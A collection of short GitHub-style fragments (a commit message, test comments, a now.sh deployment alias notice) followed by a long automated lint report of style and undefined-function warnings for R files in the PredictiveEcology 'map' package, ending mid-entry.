added openssh as dependency to libwebsockets


Só testando


вава


Successfully aliased the URL <https://tlsa-builder-i1tp0ree7.now.sh> to the following aliases:

* https://tlsa.now.sh
* https://tlsa-builder.proux.now.sh
* https://tlsa-builder-git-master.proux.now.sh


[R/buildMetadata.R:5:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L5) *style:* **Lines should not be more than 80 characters.**
```r
#' @param isRasterToMatch Logical. Is this(these) layer(s) the \code{rasterToMatch} layers.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:6:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#'        If \code{TRUE}, then this layer can be accessed by \code{rasterToMatch(map)}
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:12:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L12) *style:* **Lines should not be more than 80 characters.**
```r
#'  If \code{TRUE} or a character vector, then this layer will be added to a leaflet map.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:13:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L13) *style:* **Lines should not be more than 80 characters.**
```r
#'  For \code{RasterLayer} object, this will trigger a call to \code{gdal2tiles}, making tiles.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:20:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L20) *style:* **Lines should not be more than 80 characters.**
```r
buildMetadata <- function(metadata, isStudyArea, isRasterToMatch, layerName, obj,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:20:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L20) *style:* **Variable or function name should be snake_case.**
```r
buildMetadata <- function(metadata, isStudyArea, isRasterToMatch, layerName, obj,
^~~~~~~~~~~~~
```
[R/buildMetadata.R:20:37:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L20) *style:* **Variable or function name should be snake_case.**
```r
buildMetadata <- function(metadata, isStudyArea, isRasterToMatch, layerName, obj,
                                    ^~~~~~~~~~~
```
[R/buildMetadata.R:20:50:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L20) *style:* **Variable or function name should be snake_case.**
```r
buildMetadata <- function(metadata, isStudyArea, isRasterToMatch, layerName, obj,
                                                 ^~~~~~~~~~~~~~~
```
[R/buildMetadata.R:20:67:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L20) *style:* **Variable or function name should be snake_case.**
```r
buildMetadata <- function(metadata, isStudyArea, isRasterToMatch, layerName, obj,
                                                                  ^~~~~~~~~
```
[R/buildMetadata.R:21:27:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L21) *style:* **Variable or function name should be snake_case.**
```r
                          columnNameForLabels, objHash, leaflet, envir, ...) {
                          ^~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:21:48:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L21) *style:* **Variable or function name should be snake_case.**
```r
                          columnNameForLabels, objHash, leaflet, envir, ...) {
                                               ^~~~~~~
```
[R/buildMetadata.R:22:8:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L22) *warning:* **no visible global function definition for ‘copy’, Did you mean 'coef'?**
```r
  b <- copy(.singleMetadataNAEntry)
       ^~~~
```
[R/buildMetadata.R:22:13:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L22) *warning:* **no visible binding for global variable ‘.singleMetadataNAEntry’**
```r
  b <- copy(.singleMetadataNAEntry)
            ^~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:28:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L28) *style:* **Variable or function name should be snake_case.**
```r
    studyAreaNumber <- 1 + NROW(metadata[compareNA(studyArea, TRUE) |
    ^~~~~~~~~~~~~~~
```
[R/buildMetadata.R:29:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L29) *style:* **Lines should not be more than 80 characters.**
```r
                                               (is.numeric(studyArea) & studyArea > 0)])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:30:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L30) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
    set(b, NULL, "studyArea", studyAreaNumber)
    ^~~
```
[R/buildMetadata.R:31:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L31) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
    set(b, NULL, "area", area)
    ^~~
```
[R/buildMetadata.R:35:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L35) *style:* **Variable or function name should be snake_case.**
```r
    rasterToMatchNumber <- 1 + NROW(metadata[compareNA(rasterToMatch, TRUE) |
    ^~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:36:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L36) *style:* **Lines should not be more than 80 characters.**
```r
                                           (is.numeric(rasterToMatch) & rasterToMatch > 0)])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:37:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L37) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
    set(b, NULL, "rasterToMatch", rasterToMatchNumber)
    ^~~
```
[R/buildMetadata.R:43:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L43) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "layerName", layerName)
  ^~~
```
[R/buildMetadata.R:44:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L44) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "layerType", class(obj))
  ^~~
```
[R/buildMetadata.R:47:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L47) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
      set(b, NULL, "columnNameForLabels", columnNameForLabels)
      ^~~
```
[R/buildMetadata.R:50:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L50) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "objectHash", objHash)
  ^~~
```
[R/buildMetadata.R:53:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L53) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
    set(b, NULL, "leaflet", leaflet)
    ^~~
```
[R/buildMetadata.R:55:14:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L55) *warning:* **no visible global function definition for ‘.robustDigest’**
```r
      dig <- .robustDigest(obj)
             ^~~~~~~~~~~~~
```
[R/buildMetadata.R:56:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L56) *style:* **Variable or function name should be snake_case.**
```r
      tilePath <- ifelse(is.na(leaflet), asPath(NA_character_),
      ^~~~~~~~
```
[R/buildMetadata.R:58:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L58) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
      set(b, NULL, "leafletTiles", tilePath)
      ^~~
```
[R/buildMetadata.R:62:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L62) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "envir", list(list(envir)))
  ^~~
```
[R/buildMetadata.R:66:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L66) *style:* **Lines should not be more than 80 characters.**
```r
    dots <- dots[!unlist(lapply(dots, is.null))] # remove NULL because that isn't added to data.table anyway
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:79:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L79) *style:* **Variable or function name should be snake_case.**
```r
  columnsToAdd <- dots
  ^~~~~~~~~~~~
```
[R/buildMetadata.R:84:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L84) *style:* **Lines should not be more than 80 characters.**
```r
        ## a data.table can't handle all types of objects. need to wrap in a list to stick it there
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:86:9:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L86) *style:* **Variable or function name should be snake_case.**
```r
        needToSet <- TRUE
        ^~~~~~~~~
```
[R/buildMetadata.R:89:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L89) *style:* **Lines should not be more than 80 characters.**
```r
          needToSet <- tryCatch(set(b, NULL, nta, cta), silent = TRUE, error = function(x) TRUE)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/buildMetadata.R:89:11:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L89) *style:* **Variable or function name should be snake_case.**
```r
          needToSet <- tryCatch(set(b, NULL, nta, cta), silent = TRUE, error = function(x) TRUE)
          ^~~~~~~~~
```
[R/buildMetadata.R:89:33:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/buildMetadata.R#L89) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
          needToSet <- tryCatch(set(b, NULL, nta, cta), silent = TRUE, error = function(x) TRUE)
                                ^~~
```
[R/GIS.R:7:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @return list containing: \code{sizeInHa}, the area; and \code{polyID}, the polygon ID.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:11:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L11) *style:* **Variable or function name should be snake_case.**
```r
areaAndPolyValue <- function(ras) {
^~~~~~~~~~~~~~~~
```
[R/GIS.R:12:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L12) *style:* **Variable or function name should be snake_case.**
```r
  polyIndivSpecies <- gdal_polygonizeR(ras) # 99 seconds with full ras
  ^~~~~~~~~~~~~~~~
```
[R/GIS.R:12:23:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L12) *warning:* **no visible global function definition for ‘gdal_polygonizeR’**
```r
  polyIndivSpecies <- gdal_polygonizeR(ras) # 99 seconds with full ras
                      ^~~~~~~~~~~~~~~~
```
[R/GIS.R:13:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L13) *style:* **Variable or function name should be snake_case.**
```r
  pArea <- as.numeric(sf::st_area(polyIndivSpecies) / 1e4)
  ^~~~~
```
[R/GIS.R:19:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L19) *style:* **Lines should not be more than 80 characters.**
```r
#' Based on \url{https://johnbaumgartner.wordpress.com/2012/07/26/getting-rasters-into-shape-from-r/}.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:33:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L33) *style:* **Variable or function name should be snake_case.**
```r
gdal_polygonizeR <- function(x, outshape = NULL, gdalformat = "ESRI Shapefile",
^~~~~~~~~~~~~~~~
```
[R/GIS.R:48:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L48) *style:* **Lines should not be more than 80 characters.**
```r
  if (!file.exists(pypath)) stop("Can't find gdal_polygonize.py on your system.")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:56:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L56) *style:* **Variable or function name should be snake_case.**
```r
    f.exists <- file.exists(paste(outshape, c("shp", "shx", "dbf"), sep = "."))
    ^~~~~~~~
```
[R/GIS.R:59:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L59) *style:* **Lines should not be more than 80 characters.**
```r
                   toString(paste(outshape, c("shp", "shx", "dbf"), sep = ".")[f.exists])),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:65:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L65) *warning:* **no visible global function definition for ‘writeRaster’**
```r
    writeRaster(x, rastpath, datatype = assessDataType(x))
    ^~~~~~~~~~~
```
[R/GIS.R:65:41:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L65) *warning:* **no visible global function definition for ‘assessDataType’**
```r
    writeRaster(x, rastpath, datatype = assessDataType(x))
                                        ^~~~~~~~~~~~~~
```
[R/GIS.R:73:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L73) *style:* **Lines should not be more than 80 characters.**
```r
    shp <- sf::read_sf(dsn = dirname(outshape), layer = basename(file_path_sans_ext(outshape)))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:73:66:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L73) *warning:* **no visible global function definition for ‘file_path_sans_ext’**
```r
    shp <- sf::read_sf(dsn = dirname(outshape), layer = basename(file_path_sans_ext(outshape)))
                                                                 ^~~~~~~~~~~~~~~~~~
```
[R/GIS.R:74:22:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L74) *warning:* **no visible global function definition for ‘extent’, Did you mean 'extends'?**
```r
    sf::st_bbox(shp, extent(x))
                     ^~~~~~
```
[R/GIS.R:89:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L89) *style:* **Variable or function name should be snake_case.**
```r
.rasterToMemory <- function(x, ...) {
^~~~~~~~~~~~~~~
```
[R/GIS.R:90:8:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L90) *warning:* **no visible global function definition for ‘raster’, Did you mean 'paste'?**
```r
  r <- raster(x, ...)
       ^~~~~~
```
[R/GIS.R:108:24:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L108) *style:* **Variable or function name should be snake_case.**
```r
fasterize2 <- function(emptyRaster, polygonToFasterize, field) {
                       ^~~~~~~~~~~
```
[R/GIS.R:108:37:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L108) *style:* **Variable or function name should be snake_case.**
```r
fasterize2 <- function(emptyRaster, polygonToFasterize, field) {
                                    ^~~~~~~~~~~~~~~~~~
```
[R/GIS.R:109:10:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L109) *warning:* **no visible global function definition for ‘raster’, Did you mean 'paste'?**
```r
  ras <- raster(emptyRaster)
         ^~~~~~
```
[R/GIS.R:111:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L111) *style:* **Lines should not be more than 80 characters.**
```r
    polygonToFasterize <- Cache(cropInputs, polygonToFasterize, rasterToMatch = ras)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/GIS.R:111:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L111) *style:* **Variable or function name should be snake_case.**
```r
    polygonToFasterize <- Cache(cropInputs, polygonToFasterize, rasterToMatch = ras)
    ^~~~~~~~~~~~~~~~~~
```
[R/GIS.R:111:27:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L111) *warning:* **no visible global function definition for ‘Cache’**
```r
    polygonToFasterize <- Cache(cropInputs, polygonToFasterize, rasterToMatch = ras)
                          ^~~~~
```
[R/GIS.R:111:33:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L111) *warning:* **no visible binding for global variable ‘cropInputs’**
```r
    polygonToFasterize <- Cache(cropInputs, polygonToFasterize, rasterToMatch = ras)
                                ^~~~~~~~~~
```
[R/GIS.R:113:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L113) *style:* **Variable or function name should be snake_case.**
```r
  thePoly <- projectInputs(polygonToFasterize, targetCRS = crs(ras))
  ^~~~~~~
```
[R/GIS.R:113:14:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L113) *warning:* **no visible global function definition for ‘projectInputs’**
```r
  thePoly <- projectInputs(polygonToFasterize, targetCRS = crs(ras))
             ^~~~~~~~~~~~~
```
[R/GIS.R:113:60:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L113) *warning:* **no visible global function definition for ‘crs’, Did you mean 'cars'?**
```r
  thePoly <- projectInputs(polygonToFasterize, targetCRS = crs(ras))
                                                           ^~~
```
[R/GIS.R:114:11:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/GIS.R#L114) *style:* **Variable or function name should be snake_case.**
```r
  thePoly$polygonNum <- seq_along(thePoly)
          ^~~~~~~~~~
```
[R/makeTiles.R:1:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L1) *style:* **Variable or function name should be snake_case.**
```r
makeTiles <- function(tilePath, obj) {
^~~~~~~~~
```
[R/makeTiles.R:1:23:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L1) *style:* **Variable or function name should be snake_case.**
```r
makeTiles <- function(tilePath, obj) {
                      ^~~~~~~~
```
[R/makeTiles.R:2:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L2) *style:* **Variable or function name should be snake_case.**
```r
  dirNotExist <- !dir.exists(tilePath)
  ^~~~~~~~~~~
```
[R/makeTiles.R:4:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L4) *style:* **Lines should not be more than 80 characters.**
```r
  if (dirNotExist) { # assume that tilePath is unique for that obj, via .robustDigest
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/makeTiles.R:4:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L4) *style:* **Opening curly braces should never go on their own line and should always be followed by a new line.**
```r
  if (dirNotExist) { # assume that tilePath is unique for that obj, via .robustDigest
                   ^
```
[R/makeTiles.R:8:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L8) *style:* **Lines should not be more than 80 characters.**
```r
    objLflt <- try(projectRaster(obj, crs = CRS("+init=epsg:4326")), silent = TRUE)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/makeTiles.R:8:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L8) *style:* **Variable or function name should be snake_case.**
```r
    objLflt <- try(projectRaster(obj, crs = CRS("+init=epsg:4326")), silent = TRUE)
    ^~~~~~~
```
[R/makeTiles.R:8:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L8) *warning:* **no visible global function definition for ‘projectRaster’**
```r
    objLflt <- try(projectRaster(obj, crs = CRS("+init=epsg:4326")), silent = TRUE)
                   ^~~~~~~~~~~~~
```
[R/makeTiles.R:8:45:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L8) *warning:* **no visible global function definition for ‘CRS’, Did you mean 'C'?**
```r
    objLflt <- try(projectRaster(obj, crs = CRS("+init=epsg:4326")), silent = TRUE)
                                            ^~~
```
[R/makeTiles.R:9:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L9) *style:* **Variable or function name should be snake_case.**
```r
    tmpFile <- tempfile(fileext = ".tif")
    ^~~~~~~
```
[R/makeTiles.R:10:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L10) *style:* **Variable or function name should be snake_case.**
```r
    objLflt <- try(writeRaster(objLflt, tmpFile), silent = TRUE)
    ^~~~~~~
```
[R/makeTiles.R:10:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L10) *warning:* **no visible global function definition for ‘writeRaster’**
```r
    objLflt <- try(writeRaster(objLflt, tmpFile), silent = TRUE)
                   ^~~~~~~~~~~
```
[R/makeTiles.R:12:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L12) *style:* **Variable or function name should be snake_case.**
```r
    toDo <- TRUE
    ^~~~
```
[R/makeTiles.R:13:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L13) *style:* **Variable or function name should be snake_case.**
```r
    tryNum <- 1
    ^~~~~~
```
[R/makeTiles.R:16:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L16) *style:* **Lines should not be more than 80 characters.**
```r
      out <- try(tiler::tile(tmpFile, tilePath, zoom = "1-10", crs = CRS("+init=epsg:4326"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/makeTiles.R:18:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L18) *style:* **Variable or function name should be snake_case.**
```r
      toDo <- is(out, "try-error")
      ^~~~
```
[R/makeTiles.R:22:9:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L22) *style:* **Variable or function name should be snake_case.**
```r
        toDo <- TRUE
        ^~~~
```
[R/makeTiles.R:25:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/makeTiles.R#L25) *style:* **Variable or function name should be snake_case.**
```r
      tryNum <- tryNum + 1
      ^~~~~~
```
[R/map-analysis.R:17:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L17) *style:* **Lines should not be more than 80 characters.**
```r
#'   \code{analysisGroup2} column of the \code{map@@metadata} or a \code{functionName}.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:39:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L39) *style:* **Variable or function name should be snake_case.**
```r
mapAnalysis <- function(map, functionName = NULL, purgeAnalyses = NULL,
^~~~~~~~~~~
```
[R/map-analysis.R:39:30:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L39) *style:* **Variable or function name should be snake_case.**
```r
mapAnalysis <- function(map, functionName = NULL, purgeAnalyses = NULL,
                             ^~~~~~~~~~~~
```
[R/map-analysis.R:39:51:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L39) *style:* **Variable or function name should be snake_case.**
```r
mapAnalysis <- function(map, functionName = NULL, purgeAnalyses = NULL,
                                                  ^~~~~~~~~~~~~
```
[R/map-analysis.R:40:25:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L40) *style:* **Variable or function name should be snake_case.**
```r
                        useParallel = getOption("map.useParallel"), ...) {
                        ^~~~~~~~~~~
```
[R/map-analysis.R:42:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L42) *warning:* **local variable ‘dots’ assigned but may not be used**
```r
  dots <- list(...)
  ^~~~
```
[R/map-analysis.R:54:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L54) *style:* **Variable or function name should be snake_case.**
```r
  AGs <- sort(unique(colnames(m)[startsWith(colnames(m), "analysisGroup")]))
  ^~~
```
[R/map-analysis.R:56:31:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L56) *style:* **Variable or function name should be snake_case.**
```r
